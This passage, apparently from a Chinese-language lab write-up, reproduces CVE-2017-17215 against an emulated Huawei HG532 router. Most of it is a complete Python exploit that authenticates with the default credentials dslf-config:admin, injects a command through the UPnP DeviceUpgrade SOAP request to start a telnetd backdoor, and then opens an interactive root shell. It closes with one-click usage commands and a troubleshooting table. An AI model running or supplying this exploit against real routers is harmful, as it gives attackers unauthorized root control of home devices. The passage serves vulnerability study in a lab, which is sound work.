f'SOAPAction: "urn:www-huawei-com:service:DeviceUpgrade:1#Upgrade"\r\n'
f'Content-Length: {len(soap)}\r\n\r\n{soap}')
s.send(req.encode())
resp = s.recv(4096).decode(errors="replace")
m = re.search(r'nonce="([^"]+)"', resp)
if not m:
print(f"[-] 没拿到 nonce: {resp[:150]}")
s.close(); return False
nonce = m.group(1)
s.close()
except Exception as e:
print(f"[-] 拿 nonce 失败: {e}")
return False
# 第二步: 算 Digest + 注入
nc, cnonce = "00000001", os.urandom(8).hex()
HA1 = md5(f"{USER}:HuaweiHomeGateway:{PASS}")
HA2 = md5(f"POST:{URI}")
response = md5(f"{HA1}:{nonce}:{nc}:{cnonce}:auth:{HA2}")
auth = (f'Digest username="{USER}", realm="HuaweiHomeGateway", nonce="{nonce}", '
f'uri="{URI}", qop=auth, nc={nc}, cnonce="{cnonce}", '
f'response="{response}", algorithm=MD5')
s = socket.socket(); s.settimeout(6)
try:
s.connect((TARGET, PORT))
req = (f'POST {URI} HTTP/1.0\r\nHost: {TARGET}:{PORT}\r\n'
f'Content-Type: text/xml\r\n'
f'SOAPAction: "urn:www-huawei-com:service:DeviceUpgrade:1#Upgrade"\r\n'
f'Authorization: {auth}\r\n'
f'Content-Length: {len(soap)}\r\n\r\n{soap}')
s.send(req.encode())
try:
s.recv(4096)
except socket.timeout:
pass # system() 阻塞等待 telnetd,超时是正常的
s.close()
except Exception as e:
print(f"[-] 注入失败: {e}")
return False
print(f"[+] telnetd 后门已注入 (端口 {SHELL_PORT})")
return True
def interactive_shell():
"""连接 telnetd 后门,进入交互 shell"""
time.sleep(2)
s = socket.socket(); s.settimeout(10)
try:
s.connect((TARGET, SHELL_PORT))
except Exception as e:
print(f"[-] 连接 {SHELL_PORT} 失败: {e}")
return
time.sleep(0.4)
# 处理 telnet 协商
try:
d = s.recv(4096)
resp = b''
i = 0
while i < len(d):
if d[i] == 0xff:
resp += bytes([0xff, 0xfc, d[i+2]])
i += 3
else:
i += 1
if resp:
s.send(resp)
except Exception:
pass
time.sleep(0.3)
print(f"\n[+] 拿到 root shell!(busybox 精简版,可用: ls cat echo ps mount netstat)\n")
buf = b''
while True:
try:
s.settimeout(0.3)
try:
chunk = s.recv(8192)
if chunk:
sys.stdout.write(chunk.decode(errors="replace"))
sys.stdout.flush()
except socket.timeout:
pass
cmd = input("root@HG532:~# " if not buf else "")
if cmd.strip() == "exit":
break
if not cmd.strip():
continue
s.send((cmd + "\n").encode())
time.sleep(0.4)
except (KeyboardInterrupt, EOFError):
print("\n[*] 退出")
break
s.close()
if __name__ == "__main__":
for attempt in range(3):
if inject_telnetd():
interactive_shell()
break
print(f"[-] 第 {attempt+1} 次注入失败,重启 upnp 重试...")
restart_upnp()
else:
print("[-] 多次尝试仍失败,请检查 mic 是否运行 (msgsvr)")
这样就成功锝拿到shell了
七、完整 Exploit 脚本
已提供一键 exploit:exploit/cve-2017-17215-full-exploit.py
# 单命令注入
python3 cve-2017-17215-full-exploit.py -t 127.0.0.1 -p 37215 -c "echo PWNED > /tmp/pwned"
# 一键拿 shell(Digest 认证 + 注入 telnetd + 交互 shell)
python3 cve-2017-17215-full-exploit.py -t 127.0.0.1 -p 37215 --shell-port 9999脚本自动完成:
- Digest 认证(默认 dslf-config:admin)
- 注入
telnetd -p 9999 - telnet 连接并进入交互 shell
另有 exploit_digest.py(带认证的单命令注入,更简洁稳定),实际验证中更推荐用它做命令注入。
八、常见问题排查
现象 | 原因 | 解决 |
SSH 连不上 (no matching host key) | Debian Squeeze 老 sshd 用 ssh-rsa | 加 |
mic 启动报 | 用了 qemu-user 而非 qemu-system | 改用 qemu-system 完整 VM |
网络彻底断 (e1000 timeout) | mic/upnp 创建 br0:9 桥接 | patch 掉 brctl/ifconfig 命令 |
upnp 报 | 缺硬件抽象层设备 |
|
telnetd 立即 exit(-1) | IPv6 双栈 bind 冲突 |
|
telnetd 立即 exit(-1)(无 bind 错误) | 连不上 /var/msgsvr(mic 未启动) | 先启动 mic 创建 msgsvr |
telnetd 约 54 秒后消失 | ATP_MSG 握手 + select 超时退出 | 启动后尽快连接(1 分钟内) |
401 Unauthorized | 需 Digest 认证 | 用 dslf-config:admin + 正确 URN |
注入 telnetd 后无响应 | system() 阻塞在 telnetd 前台进程 | 正常现象,尽快连接即可 |
| busybox 精简版无 touch/id | 用 echo/ls/cat 等,或绝对路径 |
连接 telnetd 得到 CLI 而非 shell | telnetd execv /bin/cli | 替换 /bin/cli 为 exec /bin/sh |


